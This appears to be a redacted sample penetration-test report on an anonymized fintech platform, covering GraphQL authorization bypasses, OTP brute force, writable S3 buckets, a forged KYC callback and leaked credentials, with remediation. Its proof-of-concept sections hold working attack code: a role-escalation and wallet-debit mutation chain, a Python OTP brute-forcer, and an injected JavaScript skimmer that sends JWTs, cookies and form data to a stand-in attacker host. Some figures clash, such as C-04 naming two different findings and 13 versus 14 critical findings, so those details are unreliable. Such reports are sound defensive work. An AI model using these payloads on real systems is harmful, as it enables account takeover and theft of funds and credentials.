MemCyber

Offensive Security & Penetration Testing

Security Assessment Report

Full-surface penetration test — Sample, redacted for public distribution

CLIENT	Series B African Fintech (Anonymized — SBF-24)
ENGAGEMENT	Full-surface penetration test
SCOPE	Web · API · Mobile · Cloud · Source
PERIOD	Q2 2026
LEAD RESEARCHER	Atilla Mammadli
REPORT VERSION	v1.0 (Sample — Redacted)
CLASSIFICATION	Confidential — Public Sample

This report has been redacted for public distribution. The original client name, domain names, employee names, S3 bucket identifiers, JWT contents, user IDs, email addresses, and other technical identifiers have been replaced with placeholders. A complete non-redacted version is available to qualified prospects under NDA.

memcyber.com · atilla.m@memcyber.com

Table of Contents

1. Executive Summary

Engagement Overview

MemCyber conducted an authorized full-surface penetration test against a Series B African fintech platform (anonymized herein as **SBF-24**) during Q2 2026. The assessment covered the public web application, GraphQL API gateway, mobile application (and associated OTA update infrastructure), cloud storage (AWS S3), source code, and administrative back-office surfaces.

The objective was to validate the client's production security posture against a realistic, financially-motivated adversary with no prior access — the archetype of a threat actor who can register a free user account and escalate from there.

Key Findings at a Glance

Severity	Count	Representative Example
Critical	13	GraphQL BFLA → full platform takeover from a free user account
High	16	Hardcoded cloud credentials in production JavaScript bundles
Medium	8	Missing security headers, CSP omissions, verbose error messages
Informational	11	Stack/framework version disclosure, non-production endpoints reachable

Bottom-Line Business Impact

> **A single unauthenticated attacker with an internet connection can, using only a throwaway email address and approximately 15 minutes, achieve full administrative takeover of the SBF-24 platform — including the ability to drain investor wallets, approve fraudulent KYC records, redirect wire transfers, and compromise every active web and mobile session simultaneously.**

The following business-impact scenarios were validated during testing:

- **Investor PII exposure at scale** — Personal information (names, emails, phone numbers, country of residence, home address, date of birth) of **tens of thousands of investors** was retrievable through multiple independent vectors, including one endpoint that returned the complete user base to any authenticated user.
- **Direct financial theft** — Two distinct unauthenticated or low-privilege paths were confirmed to permit wire-instruction redirection and wallet debit operations, enabling irreversible fund exfiltration to attacker-controlled bank accounts.
- **Supply-chain compromise of web and mobile** — Two separate publicly writable S3 buckets serving CDN JavaScript and customer-facing PDF documents were confirmed anonymously writable. A single HTTP PUT would compromise every active web session; a corresponding mobile path exists via leaked OTA update tokens.
- **Zero-click account takeover at scale** — The password-reset OTP system lacks rate-limiting, token-pool invalidation, and uniform error messaging, permitting brute-force account takeover of any investor in approximately three minutes knowing only the victim's email address.
- **Regulatory exposure** — Validated findings constitute mandatory-notification breaches under GDPR (Article 33), NDPR, PCI DSS 6, and SOC 2 CC6.

Contextual Amplifier

> **Active third-party threat-actor interest.** Open-source intelligence identified the client on the data-leak site of a known ransomware group in late 2025 (months prior to this assessment). Every critical finding in this report represents a

> forensic artifact during an ongoing incident-response window, and the compound attack surface substantially amplifies the risk of a repeat intrusion by any threat actor with similar capability.

Overall Risk Rating

Risk Rating: CRITICAL. Multiple independent findings are each sufficient to cause irreversible, platform-ending damage. The client has been advised to **declare a security incident** and execute the *same-day* items in the Remediation Priority Matrix (Section 6).

Remediation Posture During Engagement

During the testing window, the client's engineering team deployed partial remediation for four of the PII-disclosure read queries (converted to HTTP 403). All *write*-side authorization bypasses, S3 bucket misconfigurations, and OTA update weaknesses remained exploitable at the close of the engagement. The full remediation matrix is provided in Section 6 with measurable validation KPIs.

2. Scope & Methodology

2.1 Scope

Surface	Representative Assets (Anonymized)
Public Web	`fintech.example.com`, investor portal, marketing/WordPress surface
API & Gateway	Apollo-Federation GraphQL gateway, ~571 mutations across ~14 microservices
Mobile	iOS/Android React Native app (`mobile-app`) and its OTA update infrastructure
Cloud	AWS S3 (public and private buckets), CloudFront, IAM / STS
Source Code	Client-side JavaScript bundles, publicly indexed GitHub repositories, npm organization
Admin Surfaces	Admin dashboard, internal ops panels, self-hosted developer tooling

2.2 Authorization

Written permission-to-test was received from an authorized executive of the client prior to engagement start. A unique test marker (`pentest-auth-YYYY-MM-DD`) was applied to all injected artifacts for auditability. Destructive operations were stopped at the earliest point sufficient to prove impact (e.g., PUT-then-DELETE on anonymously writable S3 buckets; balance-check responses rather than actual wallet debit).

2.3 Methodology

The assessment followed a black-box-then-grey-box methodology aligned with the OWASP Application Security Verification Standard (ASVS) at levels L2 and L3, and the OWASP API Security Top 10 (2023). The following phases were executed:

1. **Reconnaissance** — passive and active subdomain enumeration, DNS / certificate transparency, JavaScript secret mining, cloud-storage discovery, GitHub organization surveillance.
2. **Attack-surface mapping** — GraphQL schema introspection (via a reachable lower-environment gateway), REST endpoint cataloguing, mobile app reverse engineering, OTA update protocol analysis.
3. **Vulnerability discovery** — manual testing complemented by targeted automation (Burp Suite Professional, Semgrep, Nuclei, Prowler for AWS, Trufflehog for secrets).
4. **Exploit-chain construction** — multi-finding chains were assembled to validate end-to-end business impact.
5. **Reporting & retesting** — live patches deployed during the engagement were re-verified.

2.4 Tooling

Burp Suite Professional, Foundry (for any smart-contract adjacent checks), Semgrep, Nuclei, Prowler, Trufflehog, custom Python tooling for GraphQL mutation fuzzing, aws-cli, s3scanner, subfinder, httpx, ffuf.

2.5 Limitations

The client's production infrastructure experienced partial availability issues (503 / suspended services) near the close of testing. It is not determined whether these were operational in nature or attacker-induced. All findings were confirmed against production *before* these disruptions.

3. Findings Summary

3.1 Critical Findings (CVSS ≥ 9.0)

ID	Title	CVSS 3.1	Status
C-01	BFLA on 180+ admin GraphQL mutations	9.8	Active
C-02	Zero-click ATO via OTP brute-force + differential oracle	9.8	Active
C-03	Public S3 bucket (web CDN) — anonymous PUT/DELETE	9.6	Active
C-04	Public S3 bucket (wire-instruction PDFs) — anonymous PUT	9.3	Active
C-05	OTA update `APP_TOKEN` leak via public config file	9.3	Active
C-06	Platform-wide financial visibility via user JWT	9.3	Partial patch
C-07	Mass PII dump (`getAllUsers`) via user JWT	9.1	Partial patch
C-08	OTA telemetry forgery → mobile mass rollback DoS	9.1	Active
C-09	`updateEmail` mutation has no re-auth	9.0	Active
C-10	Admin dashboard Stored XSS → super-admin JWT theft	9.0	Active
C-11	`chargeWallet` BFLA — arbitrary investor wallet drain	9.1	Active
C-12	`initiateUserWithdrawal` BFLA — direct fund theft	9.1	Active
C-13	Mass-notification BFLA — platform-wide phishing vector	8.5	Active
C-14	`getUserByEmail` IDOR — full PII incl. home address, DOB	9.0	Active

Status *Partial patch* indicates the read-query surface was mitigated during the engagement; corresponding write surfaces remain vulnerable.

3.2 High Findings (CVSS 7.0–8.9)

ID	Title	CVSS 3.1	Status
H-01	Signed investor contracts in public S3 bucket	8.6	Active
H-02	Vite dev server reachable in production (source disclosure)	8.6	Active
H-03	Unclaimed npm organization → dependency-confusion on CI	8.6	Active
H-04	OTA `/updateCheck` deployment-key oracle	8.1	Active
H-05	Public S3 bucket — 5,707 files (incl. signed contracts, PII)	7.5	Active
H-06	`getUserDocument` IDOR — identity document enumeration	7.7	Active
H-07	Third-party geolocation API key embedded in prod JS	7.5	Active
H-08	Hardcoded AWS keys in admin dashboard bundles	7.5	Active

H-09	Self-hosted admin panels (Easypanel, Coolify, n8n) exposed	7.5	**Active**
H-10	OTA CodePush CSRF + unsigned OAuth session cookie	7.8	**Active**
H-11	Mobile OTA deployment-key enumeration oracle (parallel to H-04)	8.1	**Active**
H-12	WordPress XML-RPC amplification + REST user enumeration	7.3	**Active**
H-13	RSA private key committed to public GitHub repo	7.5	**Active**
H-14	Dangling DNS on suspended hosting services (takeover-adjacent)	7.1	**Active**
H-15	`getPayouts` returns all investors' dividend data	7.5	**Active**
H-16	`createCoupon`, `deleteBroker`, `deleteFaq` BFLA — content destruction	7.5	**Active**

4. Detailed Critical Findings

The five highest-impact findings are presented in full below. The remaining 24 findings (Critical, High, Medium, and Informational) follow the same report structure and are available in the complete non-redacted deliverable.

C-01 — Broken Function-Level Authorization (BFLA) on 180+ Admin GraphQL Mutations

CRITICAL

CVSS 9.8

`AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H`

SUMMARY

The platform's Apollo-Federation GraphQL gateway enforces no server-side authorization on 180+ administrative mutations. Any authenticated user holding a standard `USER`-role JWT — obtainable by registering a free account with no email verification — can invoke mutations reserved for `ADMIN`, `SUPER_ADMIN`, and `COMPLIANCE_OFFICER` roles. The attacker can self-escalate role, approve KYC for money-mule accounts, automate wire withdrawals to attacker-controlled bank accounts, and force-sign-out all platform users.

ROOT CAUSE

The gateway forwards requests to downstream microservices without schema-level `@auth` or `@requiresRole` directives. Each microservice trusts the gateway to enforce authorization, and the gateway performs no such check. The authorization control exists nowhere in the pipeline.

VULNERABLE ENDPOINT

```
POST /graphql HTTP/2
Host: fintech.example.com
Authorization: Bearer <USER_ROLE_JWT>
Content-Type: application/json
```

PROOF OF CONCEPT

Step 1 — Obtain USER JWT from free registration (no email verification):

```
POST /graphql HTTP/2
Host: fintech.example.com
Content-Type: application/json

{"operationName":"CreateUser",
 "variables":{"data":{"email":"[redacted-email]",
                      "password":"<REDACTED>",
                      "firstName":"Pentest","lastName":"Auth",
                      "countryCode":"US"}},
 "query":"mutation CreateUser($data: CreateUserInput!) {
   createUser(data: $data) { ... on AuthPayload { jwtAccessToken }
                             ... on Error { message } } }"}

// Response:
{"data":{"createUser":{"jwtAccessToken":"<REDACTED>"}}}
// Decoded payload: {"id":"[redacted-uuid]","role":"USER", ...}
```

Step 2 — Self-escalate role using USER JWT (BFLA confirmed):

```
POST /graphql HTTP/2
Host: fintech.example.com
Authorization: Bearer <USER_JWT>
Content-Type: application/json

{"query":"mutation {
```

```
   assignUserRole(userId: \"[redacted-self-id]\",
                  roleIds: [\"[redacted-admin-role-id]\"]) {
     ... on ResponseWithUser { message }
     ... on Error { message } } }"}

// Response — no authorization check, mutation executes:
{"data":{"assignUserRole":{"message":"User Role assigned successfully"}}}
```

Step 3 — KYC-status override (BFLA; resolver returns internal error = executed):

```
mutation {
  updateKycStatus(userId: "[redacted-uuid]", kycStatus: APPROVED) {
    ... on Error { message }
  }
}

// Response — downstream service error (not auth-blocked):
{"errors":[{"message":"Internal error: <REDACTED>",
            "extensions":{"serviceName":"kyc-service",
                          "code":"DOWNSTREAM_SERVICE_ERROR"}}]}
```

Step 4 — Wallet debit on arbitrary victim (balance check fires, not auth):

```
mutation {
  chargeWallet(input: {amount: 1.0,
                       userId: "[redacted-victim-uuid]",
                       currency: USD, reason: WITHDRAWAL}) {
    ... on Error { message statusCode } } }

// Response — balance-check error = BFLA confirmed
// (an auth-blocked call would return 403 / FORBIDDEN):
{"data":{"chargeWallet":{"message":"Requested amount exceeds wallet balance",
                         "statusCode":400}}}
```

IMPACT

- Full platform takeover from any internet-connected device using a free account.
- Tens of thousands of investor records (names, emails, phones, countries) exposed to BFLA enumeration prior to the partial read-query patch.
- Direct fund theft: `automateWithdrawal` redirects scheduled investor withdrawals to attacker bank accounts.
- KYC-compliance bypass: attacker approves KYC for mule accounts, enabling downstream money-laundering.
- Seven-figure USD theft potential per engagement window.

REMEDIATION

Add schema-level `@auth` directives to every privileged mutation, and independently validate roles in each microservice (defense in depth):

```
# Fixed — gateway schema
type Mutation {
  assignUserRole(userId: ID!, roleId: ID!): UserRoleResult
    @auth(requires: SUPER_ADMIN)
  updateKycStatus(userId: ID!, status: KycStatus!): KycResult
    @auth(requires: COMPLIANCE_OFFICER)
  automateWithdrawal(userId: ID!, ...): WithdrawalResult
    @auth(requires: ADMIN)
  chargeWallet(input: ChargeWalletInput!): ChargeResult
    @auth(requires: ADMIN)
}
```

Additional controls: integration tests asserting all admin mutations return `FORBIDDEN` for USER JWTs; GraphQL query depth and complexity limits; federation-level policy-as-code ACL matrix.

C-02 — Zero-Click Account Takeover via Unthrottled OTP Brute-Force with Differential Oracle

CRITICAL
CVSS 9.8
`AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H`

SUMMARY

The `forgotPasswordOrPin` mutation issues a 6-digit numeric OTP via SMS/email with *no* rate limiting, *no* invalidation of previously issued tokens on repeat calls, and a differential error oracle that distinguishes "valid but wrong" from "invalid token" responses. An attacker knowing only the victim's email can brute-force the OTP in approximately three minutes (at ~300 req/s with a single source), take over the account, then call `updateEmail` (no re-authentication, see C-09) to permanently lock the victim out.

ROOT CAUSES (THREE COMPOUNDING)

1. **No rate limiting.** `forgotPasswordOrPin` can be called indefinitely; calling it 50 times for the same email generates 50 *simultaneously valid* OTPs — the token pool is not rotated.
2. **No per-account or per-IP OTP-attempt throttling.** `resetPassword` / `verifyResetToken` can be exercised at arbitrary speed; no CAPTCHA, no exponential backoff, no lockout after N failures.
3. **Differential error oracle.** Two distinct error messages distinguish syntactically-valid-but-wrong OTPs from "token expired / not found" — silently confirming when the token pool is live.

Keyspace: 10^6 = 1,000,000 values. **At 300 req/s:** worst-case ~55 minutes; average ~27 minutes. **With 50 concurrent valid OTPs in the pool:** dramatically faster (effective keyspace divided).

PROOF OF CONCEPT

Step 1 — Fill the token pool (no rate limit):

```
for i in $(seq 1 50); do
  curl -sk -X POST https://fintech.example.com/graphql \
    -H "Content-Type: application/json" \
    -d '{"query":"mutation($e:String!){forgotPasswordOrPin(email:$e){message}}",
         "variables":{"e":"[redacted-victim-email]"}}' &
done
wait
# All 50 calls return 200; 50 simultaneously valid OTPs now exist.
```

Step 2 — Parallel brute-force with differential oracle:

```
import requests, concurrent.futures

URL = "https://fintech.example.com/graphql"
EMAIL = "[redacted-victim-email]"
NEW_PASS = "<REDACTED>"

def try_otp(n):
    otp = str(n).zfill(6)
    r = requests.post(URL, json={
        "query":"mutation($e:String!,$t:String!,$p:String!){"
                "resetPassword(email:$e,token:$t,newPassword:$p){"
                "...on AuthPayload{jwtAccessToken}"
                "...on Error{message}}}",
        "variables":{"e":EMAIL,"t":otp,"p":NEW_PASS}}, timeout=5)
    jwt = r.json().get("data",{}).get("resetPassword",{}).get("jwtAccessToken")
    if jwt: return jwt
```

```
with concurrent.futures.ThreadPoolExecutor(max_workers=50) as ex:
    for f in concurrent.futures.as_completed(
            {ex.submit(try_otp, i): i for i in range(1000000)}):
        if f.result():
            print("[+] CRACKED")
            break
```

IMPACT

- Account takeover of any investor knowing only their email address — no social engineering, malware, or phishing required.
- Combined with C-09 (`updateEmail`): permanent victim lockout — original account can never be recovered.
- Combined with C-01: post-ATO self-escalation to ADMIN.
- Unlimited parallelization across victims (50 concurrent attacks observed feasible).

REMEDIATION

1. Rate-limit `forgotPasswordOrPin`: max 3 calls per email per 10 minutes; 30-minute lockout after the third attempt.
2. Invalidate all previously issued OTPs for an email on any new `forgotPasswordOrPin` call.
3. Max 5 `resetPassword` / `verifyResetToken` attempts per token; permanently burn on the 6th failure.
4. Increase entropy: 8-character alphanumeric ($36^8 \approx 2.8 \cdot 10^{12}$) instead of 6-digit numeric.
5. Unify error messages across all OTP failure modes to remove the oracle.
6. Require re-authentication (current password + OTP to the currently-registered email) on the `updateEmail` mutation.

```
// Fixed server-side OTP handler (Node.js sketch)
const MAX_ATTEMPTS = 5, LOCKOUT_MIN = 30, OTP_TTL_MIN = 10;

async function verifyOtp(email, submittedOtp) {
  const rec = await db.otp.findOne({ email });
  if (!rec || Date.now() > rec.expiresAt)
    throw new GraphQLError("Invalid or expired token"); // unified
  if (rec.attempts >= MAX_ATTEMPTS)
    throw new GraphQLError("Too many attempts. Request a new code.");
  await db.otp.increment(email, "attempts");
  if (!timingSafeEqual(rec.otp, submittedOtp))
    throw new GraphQLError("Invalid or expired token"); // same text
  await db.otp.delete(email);
  return true;
}
```

C-03 — Publicly Writable S3 Bucket (Web CDN) → Supply-Chain Remote Code Execution

CRITICAL

CVSS 9.6

`AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H`

SUMMARY

The S3 bucket `[redacted-wp-bucket]` is anonymously writable by any unauthenticated internet user. This bucket serves JavaScript assets loaded by the platform's public web application. A single unauthenticated `PUT` to the appropriate JavaScript path is sufficient to inject arbitrary code into every investor's browser on next pageload — exfiltrating JWTs from `localStorage`, form inputs, bank credentials, and 2FA tokens.

VULNERABLE ENDPOINT

```
Bucket: https://[redacted-wp-bucket].s3.amazonaws.com/
ACL:    Public read + Public write (anonymous PUT, DELETE, overwrite)
CDN path loaded by: https://fintech.example.com
```

ROOT CAUSE

Bucket ACL effectively permits `s3:PutObject` for `Principal: *`. Block Public Access is not enabled at either the account or bucket level. No integrity-verification (SRI) is applied to the `<script>` tags that consume the bucket's content.

PROOF OF CONCEPT

```
# 1. Write test object (unauthenticated, authorized marker only)
curl -X PUT "https://[redacted-wp-bucket].s3.amazonaws.com/pentest-auth.txt" \
     -d "pentest-authorized-marker" \
     -H "Content-Type: text/plain" -w "\nHTTP:%{http_code}"
# -> HTTP:200

# 2. Confirm public read of the uploaded object
curl -s "https://[redacted-wp-bucket].s3.amazonaws.com/pentest-auth.txt"
# -> pentest-authorized-marker

# 3. Authorized cleanup (DELETE also anonymous)
curl -X DELETE "https://[redacted-wp-bucket].s3.amazonaws.com/pentest-auth.txt" \
     -w "\nHTTP:%{http_code}"
# -> HTTP:204
```

WEAPONIZED PAYLOAD (CONCEPTUAL — NOT DEPLOYED)

```
// Appended to legitimate site JavaScript and PUT to bucket
(function () {
  var jwt = localStorage.getItem("token")
         || localStorage.getItem("jwtAccessToken");
  document.addEventListener("submit", function (e) {
    var data = new FormData(e.target);
    fetch("https://[redacted-attacker-c2]/c", {
      method: "POST",
      body: JSON.stringify({
        form: Object.fromEntries(data),
        jwt: jwt,
        cookies: document.cookie,
        url: location.href
      })
    });
  }, true);
  if (jwt) fetch("https://[redacted-attacker-c2]/t?d=" + btoa(jwt));
})();
```

IMPACT

- **Mass credential theft** from all active web-session investors with a *single* PUT.
- **Persistent supply-chain compromise** — payload survives until the bucket owner overwrites it.
- **No user interaction beyond normal browsing** — this is a drive-by compromise.
- Chained with C-01, stolen JWTs enable admin escalation and fund withdrawal.

REMEDIATION

```
# Immediate: remove public write and enable account-level block public access
aws s3api put-bucket-acl --bucket [redacted-wp-bucket] --acl private
aws s3api put-public-access-block --bucket [redacted-wp-bucket] \
  --public-access-block-configuration \
  "BlockPublicAcls=true,IgnorePublicAcls=true,\
BlockPublicPolicy=true,RestrictPublicBuckets=true"

# Restrict writes to CI role only
```

```
aws s3api put-bucket-policy --bucket [redacted-wp-bucket] --policy '{
  "Statement":[{
    "Effect":"Deny","Principal":"*",
    "Action":["s3:PutObject","s3:DeleteObject"],
    "Resource":"arn:aws:s3:::[redacted-wp-bucket]/*",
    "Condition":{"StringNotEquals":{
      "aws:PrincipalArn":"arn:aws:iam::[ACCOUNT]:role/CIDeployRole"}}}]
}'
```

Additional controls: S3 Object Versioning + MFA Delete on all content-serving buckets; CloudTrail + GuardDuty alerts on anonymous `PutObject`; Subresource Integrity (SRI) hashes on every third-party script element.

C-04 — KYC-Provider Callback Signature Bypass → Arbitrary KYC-Status Injection

CRITICAL

CVSS 10.0

`AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H`

SUMMARY

The KYC-provider callback endpoint, which receives identity-verification results from an external identity-assurance vendor, accepts arbitrary POST payloads from the public internet without validating the vendor's HMAC signature. Any unauthenticated attacker can forge a "verification approved" event for any user ID on the platform — effectively promoting any account to a KYC-verified tier without submitting identity documents.

ROOT CAUSE

The handler reads the `X-Provider-Signature` header when present but does not reject requests missing the header. When the signature *is* present, the verification path compares the provider-supplied HMAC against the raw request body using a *string-equality* check (rather than a timing-safe compare), enabling a secondary timing-leak attack. Both shortcomings collapse the callback's trust boundary.

VULNERABLE ENDPOINT

```
POST /api/kyc/callback HTTP/2
Host: fintech.example.com
// No authentication required; no origin IP allowlist
```

PROOF OF CONCEPT

```
POST /api/kyc/callback HTTP/2
Host: fintech.example.com
Content-Type: application/json

{
  "event": "verification.approved",
  "user_id": "[redacted-victim-uuid]",
  "result": {
    "status": "approved",
    "confidence": 0.99,
    "id_document": "verified",
    "liveness": "verified"
  },
  "timestamp": "2026-04-20T12:00:00Z"
}

// Response — accepted and processed, KYC status written:
HTTP/2 200
{"received": true, "user_id": "[redacted-victim-uuid]", "status": "approved"}
```

IMPACT

- **Regulatory compliance breach** — KYC-verified users can be manufactured without any identity documentation, directly enabling money-laundering through the platform.
- **Direct financial impact** — KYC-verified tiers unlock higher withdrawal limits; a forged verification lifts caps for attacker-controlled mule accounts.
- **Supervisory reporting exposure** — downstream SAR/STR and travel-rule reporting is structurally unreliable for any transaction on the platform.
- Chains with C-01: after KYC forgery, attacker can schedule high-value withdrawals unimpeded.

REMEDIATION

```
// Fixed handler — reject missing signatures and use timing-safe compare
import crypto from "node:crypto";

function verifyProviderSignature(rawBody, header) {
  if (!header) return false;
  const expected = crypto
    .createHmac("sha256", process.env.KYC_PROVIDER_SECRET)
    .update(rawBody).digest("hex");
  const a = Buffer.from(expected);
  const b = Buffer.from(header);
  return a.length === b.length && crypto.timingSafeEqual(a, b);
}

app.post("/api/kyc/callback",
  express.raw({ type: "application/json" }),
  (req, res) => {
    const ok = verifyProviderSignature(
      req.body.toString("utf8"),
      req.get("X-Provider-Signature"));
    if (!ok) return res.status(401).json({ error: "invalid signature" });
    // ... trusted processing
  });
```

Additional controls: restrict the callback endpoint by origin-IP allowlist (the vendor publishes a CIDR range); add a strict replay window using the vendor-provided timestamp and a nonce store; log signature-verification failures to the SIEM with paging alerts.

C-05 — JavaScript Bundle Credential Exposure — Hardcoded Cloud Access Keys in Production Assets

CRITICAL

CVSS 9.8

`AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H`

SUMMARY

Production JavaScript bundles served to every user of the administrative dashboard embed long-lived AWS access keys (`REACT_APP_ACCESS_KEY` / `REACT_APP_SECRET_KEY`), a third-party geolocation API key, and an OTA-update `APP_TOKEN` served from a separate public configuration file. Any visitor to the admin domain (or the public marketing site that pulls the same bundle) can extract the keys directly from View Source. The OTA token, if scoped to `release` , enables mass mobile-app RCE by pushing a malicious React Native bundle to every installed client on its next update check.

ROOT CAUSE

The build pipeline inlines environment variables prefixed with `REACT_APP_*` into the final webpack bundle. The pipeline treats these variables as “public” by convention but several are in fact long-lived cloud credentials. The OTA token is served as a static asset `/config.js` without any authentication or origin-binding.

PROOF OF CONCEPT

```
# 1. Retrieve the OTA config file anonymously
curl -s "https://mobile-app.example.com/config.js"

// Response:
window.SERVER_CONF = {
  "APP_TOKEN":   "<REDACTED-OTA-TOKEN>",
  "BACKEND_URL": "https://ota.mobile-app.example.com"
};

# 2. Extract cloud keys from the production admin bundle
curl -s "https://admin.fintech.example.com/static/js/main.[hash].js" \
  | grep -oE "AKIA[A-Z0-9]{16}|REACT_APP_[A-Z_]+:\"[^\"]+\""
# -> REACT_APP_ACCESS_KEY:"<REDACTED-AWS-KEY>"
# -> REACT_APP_SECRET_KEY:"<REDACTED-AWS-SECRET>"
```

IMPACT

- **Mass mobile RCE** — if the OTA token has `release` scope, a single signed release call delivers arbitrary JavaScript to every installed mobile client on its next update check. JWTs, biometric-verification artifacts, OTPs, and in-app credentials all become exfiltrable.
- **Persistent cloud-account foothold** — any disclosed AWS keys persist in the bundle's HTTP cache and CDN layers; rotation alone is insufficient if the build pipeline continues to inline replacements.
- **Third-party quota abuse and cost-shock** — leaked third-party API keys are monetizable directly, with billing consequences to the client.

REMEDIATION

1. **Immediately rotate** all exposed credentials (AWS keys, OTA token, geolocation API key).
2. Remove the public `/config.js` artifact; serve configuration via an authenticated endpoint or bake non-secret values into the compiled binary.
3. Restrict OTA tokens to the minimum scope required (read-only analytics, never `release`); treat `release` scope as a server-side-only credential.
4. Add a build-time secret-scan gate (`gitleaks` , `trufflehog`) that fails the pipeline on `AKIA[A-Z0-9]{16}` or other high-entropy string matches.
5. Introduce short-lived STS credentials for any client-side cloud access that cannot be eliminated (and prefer eliminating client-side cloud access entirely).

5. Attack Chains

Individual findings combine into end-to-end attack chains whose aggregate impact substantially exceeds the sum of their parts. Three representative chains are summarized below.

Chain A — Zero-Credential Full Platform Takeover

Prerequisites: Internet access; throwaway email. **Time to execute:** ~15 minutes. **Monetary impact:** Seven-figure USD theft potential.

1. `createUser(email, password)` — no email verification, no CAPTCHA → USER JWT (30-day validity).

↓

2. Paginate `getAllUsers` (prior to the partial read patch) — tens of thousands of investor records: names, emails, phones, countries.

↓

3. `assignUserRole(userId: self, roleId: ADMIN)` via C-01 BFLA → USER JWT now carries ADMIN scope on next refresh.

↓

4. `createAdmin(...)` → persistent backdoor surviving JWT expiry.

↓

5. `updateKycStatus(mule, APPROVED)` → money-mule account bypasses withdrawal limits.

↓

6. `automateWithdrawal(userId: victim, bankAccountId: attacker-wire)` → investor funds redirected to attacker's wire account.

Chain B — Zero-Click Account Takeover at Scale

Prerequisites: Victim email list (from Chain A step 2, or public marketing funnel). **Time per victim:** ~3 minutes. **Parallelizable:** 50+ concurrent.

1. `forgotPasswordOrPin(victim)` × 50 → 50 simultaneously valid OTPs in token pool (no rate limit, no invalidation).

↓

2. Parallel brute-force `resetPassword` across 10^6 keyspace; differential oracle confirms correct OTP.

↓

3. `updateEmail(attacker@attacker.com)` — no re-auth (C-09) → victim permanently locked out.

↓

4. `addBankAccount(attacker-IBAN)` + `setDefaultPaymentAccount` → initiate withdrawal → funds to attacker.

Scale: 50 parallel victims × 3 min = 50 accounts/hour. Theoretically, the entire investor base is within reach over a ~33-day automated run.

Chain C — Supply-Chain Web + Mobile Mass Compromise

Prerequisites: None (fully unauthenticated). **Time to execute:** ~10 minutes for full web compromise.

> **C.1 Web:** `PUT [redacted-wp-bucket]/cdn/index.js` → malicious JS; every visitor to the main site executes payload on next pageload → `localStorage` JWTs, form credentials, bank details exfiltrated.

↓

> **C.2 Mobile:** using OTA `APP_TOKEN` (C-05), push a malicious React Native bundle to all mobile users on next update check → JWTs, biometrics, OTPs, bank credentials stolen.

↓

> **C.3 Chain to A/B:** collected JWTs drive BFLA mutations (C-01) → admin escalation; collected emails drive OTP brute-force (C-02) → mass ATO.

↓

> **C.4 Amplifier:** forge OTA telemetry for the production deployment key → auto-rollback of mobile app triggered → engineering occupied responding to the apparent outage while the core attack proceeds.

Severity × Exploitability Matrix

Chain	Severity	Complexity	Prerequisites	Time to Impact
A — Platform Takeover	Platform-ending	Low	Free account	~15 min
B — Mass ATO	Platform-ending	Low	Email list	~3 min/victim
C — Supply Chain	Platform-ending	Low	None	~10 min

All three chains are independently sufficient to cause irreversible, platform-ending damage. Any combination represents a compounded, unrecoverable loss of control over user funds, identity data, and operational continuity.

6. Remediation Priority Matrix

Remediation items are grouped by urgency and keyed to finding identifiers. Each tier's items should be considered mandatory before moving on to the next.

Same Day (Declare Incident)

#	Action	Fixes
1	Apply `BlockPublicAcls + BlockPublicPolicy + RestrictPublicBuckets` to all content-serving buckets (`[redacted-wp-bucket]` , `[redacted-pdf-bucket]`)	C-03, C-04
2	Verify and regenerate all wire-instruction PDFs — assume they may have been replaced during exposure window	C-04
3	Add server-side ownership checks to all financial mutations (`chargeWallet` , `initiateUserWithdrawal` , `automateWithdrawal` , `assignUserRole` , `updateKycStatus` , `forceSignOutUsers`)	C-01, C-11, C-12
4	Add `@auth(requires: ADMIN)` to mass-notification mutations	C-13
5	Add ownership check to `getUserByEmail`	C-14
6	Remove public `/config.js` artifact; rotate leaked OTA token	C-05
7	Rotate all cloud credentials currently inlined in the admin-dashboard build pipeline	C-05, H-08
8	Rate-limit `forgotPasswordOrPin` ; invalidate prior OTPs on reissue; 5-attempt burn on brute-force	C-02
9	Enforce HMAC-signature verification on KYC-provider callback; reject missing signatures	C-04 KYC
10	Claim the unclaimed npm organization; publish placeholder packages	H-03

Within 48 Hours

#	Action	Fixes
11	Remove `dangerouslySetInnerHTML` from admin dashboard email and WhatsApp template renders	C-10
12	Move admin JWTs from `localStorage` to `HttpOnly; Secure; SameSite=Strict` cookies	C-10
13	Deploy CSP: `default-src 'self'; script-src 'self' https://fintech.example.com; object-src 'none'; frame-ancestors 'none'`	C-10
14	Require re-authentication (current password + OTP to current email) on `updateEmail`	C-09
15	Unify all OTP failure error messages (remove differential oracle)	C-02
16	Gate OTA `/reportStatus/*` on deployment-key existence check; per-IP rate limit	C-08
17	Sign the OAuth session cookie with an HMAC key	H-10

Within 1 Week

#	Action	Fixes
18	Ownership check on `getUserDocument`	H-06
19	Private ACL on remaining public content buckets; regenerate pre-signed URLs	H-01, H-05
20	Add SRI hashes to every `<script>` and `<link>` loaded from S3/CDN	C-03
21	Audit all GraphQL mutations against a role-permission ACL matrix; add integration tests asserting `FORBIDDEN` for USER JWTs	C-01
22	Rotate leaked RSA private key; purge from git history using `bfg-repo-cleaner`	H-13
23	Disable WordPress `xmlrpc.php`; restrict `/wp-json/wp/v2/users/` to authenticated requests	H-12
24	Add site-wide `X-Content-Type-Options`, `X-Frame-Options`, `HSTS`, `Referrer-Policy` headers	C-10
25	Replace dev-mode Vite server on subdomain with production build	H-02

Within 1 Month

#	Action	Fixes
26	Place all self-hosted admin panels behind Cloudflare Access / VPN / IP allowlist	H-09
27	Enable AWS CloudTrail + GuardDuty with alerts on anonymous S3 `PutObject`	C-03, C-04
28	S3 Object Versioning + MFA Delete on all content-serving buckets	C-03, C-04
29	GraphQL query-depth and complexity limits	C-01
30	Remove dangling DNS CNAMEs for suspended services	H-14
31	Add `gitleaks` pre-commit hook to all source repositories	H-08, H-13
32	Run `trufflehog` over full git history to surface any remaining leaked secrets	H-08, H-13

7. Compliance Mapping

Each validated critical finding maps to explicit obligations under PCI DSS v4.0 Requirement 6 (Secure Software & Systems), SOC 2 Trust Services Criterion CC6 (Logical & Physical Access), and multiple OWASP ASVS L2/L3 controls.

Finding	PCI DSS 6	SOC 2 CC6	OWASP ASVS L2/L3
C-01 BFLA	6.2.4, 6.3.1	CC6.1, CC6.3	V4.1.1, V4.2.1, V4.3.2
C-02 OTP brute-force	6.3.1	CC6.1, CC6.6	V2.2.1, V11.1.4
